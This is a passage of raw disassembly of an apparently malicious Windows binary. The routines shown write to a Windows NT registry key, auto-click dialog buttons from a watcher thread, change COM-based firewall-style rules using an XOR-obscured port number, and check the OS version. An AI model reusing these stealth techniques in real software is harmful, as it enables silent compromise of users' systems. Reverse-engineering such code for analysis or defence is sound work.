		jmp	loc_9A481E
; ---------------------------------------------------------------------------


loc_9A48C4:				; CODE XREF: sub_9A471B+111j
					; sub_9A471B+11Aj
		cmp	[ebp+var_30], edi
		jz	short loc_9A48F1
		cmp	[ebp+arg_4], edi
		jz	short loc_9A48F1
		push	[ebp+var_3C]	; cbData
		push	[ebp+lpData]	; lpData
		push	7		; dwType
		push	edi		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExW
		mov	[ebp+var_40], eax
		cmp	eax, edi
		jnz	short loc_9A48F1
		mov	[ebp+var_30], 1


loc_9A48F1:				; CODE XREF: sub_9A471B+1ACj
					; sub_9A471B+1B1j ...
		mov	ebx, offset SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...


loc_9A48F6:				; CODE XREF: sub_9A471B+CFj
					; sub_9A471B+D7j
		cmp	[ebp+lpData], edi
		jz	short loc_9A4904
		push	[ebp+lpData]	; hMem
		call	GlobalFree


loc_9A4904:				; CODE XREF: sub_9A471B+1DEj
		cmp	[ebp+Source], edi
		jz	short loc_9A4912
		push	[ebp+Source]	; hMem
		call	GlobalFree


loc_9A4912:				; CODE XREF: sub_9A471B+AAj
					; sub_9A471B+1ECj
		push	[ebp+hKey]	; hKey
		call	RegCloseKey


loc_9A491B:				; CODE XREF: sub_9A471B+73j
		cmp	[ebp+var_34], edi
		jz	short loc_9A4934
		push	[ebp+var_34]	; int
		push	[ebp+psidOwner]	; psidOwner
		push	ebx		; int
		push	80000002h	; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A4934:				; CODE XREF: sub_9A471B+203j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_2
		mov	eax, [ebp+var_30]
		call	__SEH_epilog
		retn
sub_9A471B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; BOOL __stdcall fn(HWND,LPARAM)

fn		proc near		; DATA XREF: sub_9A4977+15o

hDlg		= dword	ptr  4

		push	1		; nIDDlgItem
		push	[esp+4+hDlg]	; hDlg
		call	GetDlgItem
		test	eax, eax
		jz	short loc_9A4971
		push	0		; lParam
		push	0		; wParam
		push	0F5h		; Msg
		push	eax		; hWnd
		call	PostMessageA
		mov	dword_9BB2E4, 1


loc_9A4971:				; CODE XREF: fn+Ej
		xor	eax, eax
		inc	eax
		retn	8
fn		endp


; =============== S U B	R O U T	I N E =======================================


; DWORD	__stdcall sub_9A4977(LPVOID)

sub_9A4977	proc near		; DATA XREF: sub_9A49B2+12Fo

dwThreadId	= dword	ptr  4

		and	dword_9BB2E4, 0
		push	esi
		xor	esi, esi


loc_9A4981:				; CODE XREF: sub_9A4977+33j
		cmp	dword_9BB2E4, 0
		jnz	short loc_9A49AC
		push	0		; lParam
		push	offset fn	; lpfn
		push	[esp+0Ch+dwThreadId] ; dwThreadId
		call	EnumThreadWindows
		push	0Ah		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 5DCh
		jl	short loc_9A4981


loc_9A49AC:				; CODE XREF: sub_9A4977+11j
		xor	eax, eax
		pop	esi
		retn	4
sub_9A4977	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A49B2	proc near		; CODE XREF: sub_9A4B7B+5Ep

pvarg		= VARIANTARG ptr -38h
ExitCode	= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebx]
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		xor	esi, esi
		push	ebx
		mov	[ebp+var_1C], esi
		call	dword ptr [eax+2Ch]
		mov	eax, [ebp+var_1C]
		cmp	eax, esi
		jz	loc_9A4B78
		lea	edx, [ebp+var_14]
		push	edx
		mov	[ebp+var_8], esi
		mov	[ebp+var_14], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		jz	short loc_9A4A01
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_9A27DC
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4A01:				; CODE XREF: sub_9A49B2+36j
		cmp	[ebp+var_8], esi
		jz	loc_9A4B6F
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+pvarg]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_9A4B66
		push	edi


loc_9A4A2D:				; CODE XREF: sub_9A49B2+1ADj
		cmp	word ptr [ebp+pvarg.anonymous_0], 0Dh
		jnz	loc_9A4B43
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_9A27CC
		mov	[ebp+var_4], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		cmp	[ebp+var_4], esi
		jz	loc_9A4B43
		mov	eax, [ebx]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+var_4]
		mov	[ebp+var_10], esi
		push	ebx
		call	dword ptr [eax+30h]
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jz	loc_9A4B3A
		lea	edx, [ebp+var_20]
		push	edx
		mov	[ebp+var_20], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		test	byte ptr [ebp+var_20+1], 4
		jz	loc_9A4B31
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_18]
		push	edx
		mov	[ebp+var_18], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		cmp	[ebp+var_18], 8
		jz	loc_9A4B31
		cmp	[ebp+var_18], 9
		jz	loc_9A4B31
		mov	eax, [ebx]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	[ebp+var_4]
		mov	[ebp+var_C], esi
		push	ebx
		call	dword ptr [eax+28h]
		mov	eax, [ebp+var_C]
		cmp	eax, esi
		jz	short loc_9A4B31
		lea	edx, [ebp+var_24]
		push	edx
		mov	[ebp+var_24], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		cmp	word ptr [ebp+var_24], si
		jz	short loc_9A4B28
		lea	eax, [ebp+ExitCode]
		push	eax		; lpThreadId
		push	esi		; dwCreationFlags
		call	GetCurrentThreadId
		push	eax		; lpParameter
		push	offset sub_9A4977 ; lpStartAddress
		push	esi		; dwStackSize
		push	esi		; lpThreadAttributes
		call	CreateThread
		push	64h		; dwMilliseconds
		mov	edi, eax
		call	Sleep
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		lea	eax, [ebp+ExitCode]
		push	eax		; lpExitCode
		push	edi		; hThread
		call	GetExitCodeThread
		test	eax, eax
		jz	short loc_9A4B21
		cmp	[ebp+ExitCode],	103h
		jnz	short loc_9A4B21
		push	esi		; dwExitCode
		push	edi		; hThread
		call	TerminateThread


loc_9A4B21:				; CODE XREF: sub_9A49B2+15Cj
					; sub_9A49B2+165j
		push	edi		; hObject
		call	CloseHandle


loc_9A4B28:				; CODE XREF: sub_9A49B2+121j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B31:				; CODE XREF: sub_9A49B2+CFj
					; sub_9A49B2+E9j ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B3A:				; CODE XREF: sub_9A49B2+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B43:				; CODE XREF: sub_9A49B2+80j
					; sub_9A49B2+9Dj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+pvarg]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jz	loc_9A4A2D
		pop	edi


loc_9A4B66:				; CODE XREF: sub_9A49B2+74j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B6F:				; CODE XREF: sub_9A49B2+52j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B78:				; CODE XREF: sub_9A49B2+1Bj
		pop	esi
		leave
		retn
sub_9A49B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9A4B7B(LPVOID)

sub_9A4B7B	proc near		; DATA XREF: sub_9A4FEF+Co

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ppv		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	14h
		push	offset stru_9A2810
		call	__SEH_prolog
		push	6		; dwCoInit
		xor	esi, esi
		push	esi		; pvReserved
		call	CoInitializeEx
		mov	[ebp+var_20], eax
		cmp	eax, 80010106h
		jz	short loc_9A4BA0
		cmp	eax, esi
		jl	short loc_9A4BFA


loc_9A4BA0:				; CODE XREF: sub_9A4B7B+1Fj
		push	esi		; pReserved3
		push	esi		; dwCapabilities
		push	esi		; pAuthList
		push	3		; dwImpLevel
		push	4		; dwAuthnLevel
		push	esi		; pReserved1
		push	esi		; asAuthSvc
		push	0FFFFFFFFh	; cAuthSvc
		push	esi		; pSecDesc
		call	CoInitializeSecurity
		mov	[ebp+ms_exc.disabled], esi
		mov	[ebp+ppv], esi
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset stru_9A27FC ; riid
		push	17h		; dwClsContext
		push	esi		; pUnkOuter
		push	offset stru_9A27EC ; rclsid
		call	CoCreateInstance
		mov	[ebp+var_24], eax
		mov	ebx, [ebp+ppv]
		cmp	ebx, esi
		jz	short loc_9A4BE7
		call	sub_9A49B2
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4BE7:				; CODE XREF: sub_9A4B7B+5Cj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9A4BFA
; ---------------------------------------------------------------------------


loc_9A4BED:				; DATA XREF: .text:stru_9A2810o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A4BF1:				; DATA XREF: .text:stru_9A2810o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	esi, esi


loc_9A4BFA:				; CODE XREF: sub_9A4B7B+23j
					; sub_9A4B7B+70j
		cmp	[ebp+var_20], esi
		jl	short loc_9A4C05
		call	CoUninitialize


loc_9A4C05:				; CODE XREF: sub_9A4B7B+82j
		xor	eax, eax
		call	__SEH_epilog
		retn	4
sub_9A4B7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4C0F	proc near		; CODE XREF: sub_9A5033+40p
					; sub_9A514A+65p

ppv		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		push	6		; dwCoInit
		push	esi		; pvReserved
		mov	[ebp+ppv], esi
		mov	[ebp+var_4], esi
		mov	[edi], esi
		call	CoInitializeEx
		mov	ebx, eax
		cmp	ebx, 80010106h
		jz	short loc_9A4C37
		cmp	ebx, esi
		jl	short loc_9A4C6D


loc_9A4C37:				; CODE XREF: sub_9A4C0F+22j
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset riid	; riid
		push	1		; dwClsContext
		push	esi		; pUnkOuter
		push	offset rclsid	; rclsid
		call	CoCreateInstance
		test	eax, eax
		jl	short loc_9A4C6D
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	short loc_9A4C6D
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+1Ch]


loc_9A4C6D:				; CODE XREF: sub_9A4C0F+26j
					; sub_9A4C0F+41j ...
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jz	short loc_9A4C7A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4C7A:				; CODE XREF: sub_9A4C0F+63j
		mov	eax, [ebp+ppv]
		cmp	eax, esi
		jz	short loc_9A4C87
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4C87:				; CODE XREF: sub_9A4C0F+70j
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9A4C0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A4C8D	proc near		; CODE XREF: sub_9A5033+EEp
					; sub_9A514A+C5p

arg_0		= dword	ptr  4

		test	eax, eax
		jz	short loc_9A4C97
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4C97:				; CODE XREF: sub_9A4C8D+2j
		cmp	[esp+arg_0], 0
		jl	short locret_9A4CA4
		jmp	CoUninitialize
; ---------------------------------------------------------------------------

locret_9A4CA4:				; CODE XREF: sub_9A4C8D+Fj
		retn
sub_9A4C8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4CA5	proc near		; CODE XREF: sub_9A4D36+3Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	dword ptr [ebx], 0
		mov	ecx, [eax]
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		push	esi
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		call	dword ptr [ecx+48h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_9A4D17
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	short loc_9A4D15
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+4Ch]
		mov	esi, eax
		test	esi, esi
		jl	short loc_9A4D17
		cmp	word ptr [ebp+var_C], 0
		jnz	short loc_9A4D0D
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+50h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_9A4D17
		or	[ebp+var_C], 0FFFFFFFFh


loc_9A4D0D:				; CODE XREF: sub_9A4CA5+51j
		mov	dword ptr [ebx], 1
		jmp	short loc_9A4D17
; ---------------------------------------------------------------------------


loc_9A4D15:				; CODE XREF: sub_9A4CA5+37j
		xor	esi, esi


loc_9A4D17:				; CODE XREF: sub_9A4CA5+20j
					; sub_9A4CA5+4Aj ...
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_9A4D24
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4D24:				; CODE XREF: sub_9A4CA5+77j
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_9A4D31
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4D31:				; CODE XREF: sub_9A4CA5+84j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A4CA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A4D36(int,int,OLECHAR *psz)

sub_9A4D36	proc near		; CODE XREF: sub_9A5033+C6p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
ppv		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
psz		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		lea	ecx, [ebp+var_4]
		mov	esi, eax
		mov	eax, [esi]
		xor	edi, edi
		push	ecx
		push	esi
		mov	[ebp+var_14], edi
		mov	[ebp+ppv], edi
		mov	[ebp+var_C], edi
		call	dword ptr [eax+28h]
		test	eax, eax
		jl	short loc_9A4D67
		cmp	[ebp+var_4], di
		jz	short loc_9A4D67
		mov	eax, [esi]
		push	edi
		push	esi
		call	dword ptr [eax+2Ch]


loc_9A4D67:				; CODE XREF: sub_9A4D36+22j
					; sub_9A4D36+28j
		push	[ebp+arg_4]
		lea	ebx, [ebp+var_10]
		push	[ebp+arg_0]
		mov	eax, esi
		call	sub_9A4CA5
		mov	ebx, eax
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		jl	loc_9A4E1A
		cmp	[ebp+var_10], edi
		jnz	loc_9A4E1A
		mov	eax, [esi]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	esi
		call	dword ptr [eax+48h]
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1A
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset stru_9A284C ; riid
		push	1		; dwClsContext
		push	edi		; pUnkOuter
		push	offset stru_9A283C ; rclsid
		call	CoCreateInstance
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1A
		mov	eax, [ebp+ppv]
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+38h]
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1A
		mov	eax, [ebp+ppv]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1A
		push	[ebp+psz]	; psz
		call	SysAllocString
		mov	esi, eax
		push	esi		; BSTR
		call	SysStringLen
		test	eax, eax
		jnz	short loc_9A4DFA
		mov	ebx, 8007000Eh
		jmp	short loc_9A4E1D
; ---------------------------------------------------------------------------


loc_9A4DFA:				; CODE XREF: sub_9A4D36+BBj
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1D
		mov	eax, [ebp+var_C]
		push	[ebp+ppv]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		jmp	short loc_9A4E1D
; ---------------------------------------------------------------------------


loc_9A4E1A:				; CODE XREF: sub_9A4D36+47j
					; sub_9A4D36+50j ...
		mov	esi, [ebp+var_14]


loc_9A4E1D:				; CODE XREF: sub_9A4D36+C2j
					; sub_9A4D36+D2j ...
		push	esi		; bstrString
		call	SysFreeString
		mov	eax, [ebp+ppv]
		cmp	eax, edi
		jz	short loc_9A4E31
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4E31:				; CODE XREF: sub_9A4D36+F3j
		mov	eax, [ebp+var_C]
		cmp	eax, edi
		jz	short loc_9A4E3E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4E3E:				; CODE XREF: sub_9A4D36+100j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9A4D36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A4E45(wchar_t *Str2)

sub_9A4E45	proc near		; CODE XREF: sub_9A514A+97p

pvarg		= VARIANTARG ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
bstrString	= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str2		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	ecx, [eax]
		push	edi
		xor	edi, edi
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		mov	[ebp+bstrString], edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_8], edi
		call	dword ptr [ecx+48h]
		cmp	eax, edi
		jl	loc_9A4F8D
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+var_14]
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	esi, eax
		cmp	esi, edi
		jl	loc_9A4F81
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_9A27DC
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		cmp	esi, edi
		jl	loc_9A4F78
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		xor	esi, esi
		push	eax
		inc	esi
		call	dword ptr [ecx+14h]
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit


loc_9A4EB8:				; CODE XREF: sub_9A4E45+124j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+pvarg]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_9A4F6F
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset stru_9A284C
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_9A4F5C
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+bstrString]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	short loc_9A4F53
		push	[ebp+Str2]	; Str
		call	wcslen
		push	eax		; MaxCount
		push	[ebp+Str2]	; Str2
		push	[ebp+bstrString] ; Str1
		call	wcsncmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_9A4F4A
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_1C]
		push	edx
		push	eax
		call	dword ptr [ecx+34h]
		test	eax, eax
		jl	short loc_9A4F4A
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_18]
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		test	eax, eax
		jl	short loc_9A4F4A
		push	[ebp+var_18]
		mov	eax, [ebp+var_C]
		push	[ebp+var_1C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+24h]
		test	eax, eax
		jl	short loc_9A4F4A
		xor	esi, esi


loc_9A4F4A:				; CODE XREF: sub_9A4E45+CCj
					; sub_9A4E45+DDj ...
		push	[ebp+bstrString] ; bstrString
		call	SysFreeString


loc_9A4F53:				; CODE XREF: sub_9A4E45+AFj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4F5C:				; CODE XREF: sub_9A4E45+9Ej
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		cmp	esi, 1
		jz	loc_9A4EB8


loc_9A4F6F:				; CODE XREF: sub_9A4E45+85j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4F78:				; CODE XREF: sub_9A4E45+57j
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4F81:				; CODE XREF: sub_9A4E45+3Cj
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, esi
		pop	esi


loc_9A4F8D:				; CODE XREF: sub_9A4E45+24j
		pop	edi
		leave
		retn
sub_9A4E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A4F90	proc near		; CODE XREF: sub_9B6504+31p

VersionInformation= _OSVERSIONINFOA ptr	-0A0h
var_C		= word ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A0h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		call	GetVersionExA
		test	eax, eax
		jz	short loc_9A4FDE
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jnz	short loc_9A4FDE
		xor	eax, eax
		inc	eax
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], eax
		jnz	short loc_9A4FD1
		cmp	[ebp+78h+var_C], 2
		jnb	short loc_9A4FDE
		jmp	short loc_9A4FE0
; ---------------------------------------------------------------------------


loc_9A4FD1:				; CODE XREF: sub_9A4F90+36j
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 2
		jnz	short loc_9A4FDE
		cmp	[ebp+78h+var_C], 0
		jz	short loc_9A4FE0


loc_9A4FDE:				; CODE XREF: sub_9A4F90+28j
					; sub_9A4F90+2Ej ...
		xor	eax, eax


loc_9A4FE0:				; CODE XREF: sub_9A4F90+3Fj
					; sub_9A4F90+4Cj
		mov	ecx, [ebp+78h+var_4]
		xor	ecx, ebp
		call	sub_9AAAC1
		add	ebp, 78h
		leave
		retn
sub_9A4F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A4FEF	proc near		; CODE XREF: sub_9B6504:loc_9B1FE0p

ThreadId	= dword	ptr -4

		push	ecx
		push	esi
		push	edi
		lea	eax, [esp+0Ch+ThreadId]
		push	eax		; lpThreadId
		xor	edi, edi
		push	edi		; dwCreationFlags
		push	edi		; lpParameter
		push	offset sub_9A4B7B ; lpStartAddress
		push	edi		; dwStackSize
		push	edi		; lpThreadAttributes
		call	CreateThread
		mov	esi, eax
		push	2710h		; dwMilliseconds
		push	esi		; hHandle
		call	WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_9A5025
		push	edi		; dwExitCode
		push	esi		; hThread
		call	TerminateThread


loc_9A5025:				; CODE XREF: sub_9A4FEF+2Cj
		push	esi		; hObject
		call	CloseHandle
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		pop	ecx
		retn
sub_9A4FEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5033	proc near		; CODE XREF: sub_9AE400+14F2p

var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= byte ptr -42Ch
var_328		= byte ptr -328h
psz		= word ptr -224h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch

		push	42Ch
		push	offset stru_9A2868
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	ebx, ebx
		mov	[ebp+var_434], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	[ebp+var_43C], ebx
		mov	[ebp+var_438], 80004005h
		mov	[ebp+var_430], ebx
		lea	edi, [ebp+var_430]
		call	sub_9A4C0F
		mov	[ebp+var_438], eax
		cmp	[ebp+var_430], ebx
		jz	loc_9A5115
		movzx	esi, [ebp+arg_0]
		lea	eax, [ebp+var_328]
		push	eax
		xor	eax, eax
		cmp	[ebp+arg_4], 6
		setnz	al
		inc	eax
		push	eax
		mov	eax, esi
		xor	eax, 2ABC1DEFh
		push	eax
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_9AEE40
		pop	ecx
		push	eax
		push	offset aSS_0	; "%S %S"
		push	104h		; Count
		lea	eax, [ebp+psz]
		push	eax		; Dest
		call	_snwprintf
		mov	[ebp+var_1E], bx
		lea	eax, [ebp+psz]
		push	eax		; psz
		xor	eax, eax
		cmp	[ebp+arg_4], 6
		setnz	al
		dec	eax
		and	eax, 0FFFFFFF5h
		add	eax, 11h
		push	eax		; int
		push	esi		; int
		mov	eax, [ebp+var_430]
		call	sub_9A4D36
		add	esp, 20h
		mov	[ebp+var_43C], eax
		cmp	eax, ebx
		jl	short loc_9A5115
		mov	[ebp+var_434], 1


loc_9A5115:				; CODE XREF: sub_9A5033+51j
					; sub_9A5033+D6j
		push	[ebp+var_438]
		mov	eax, [ebp+var_430]
		call	sub_9A4C8D
		pop	ecx
		jmp	short loc_9A5130
; ---------------------------------------------------------------------------


loc_9A5129:				; DATA XREF: .text:stru_9A2868o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A512D:				; DATA XREF: .text:stru_9A2868o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A5130:				; CODE XREF: sub_9A5033+F4j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_434]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A5033	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A514A	proc near		; CODE XREF: sub_9B6504:loc_9B5F40p

var_33C		= dword	ptr -33Ch
var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
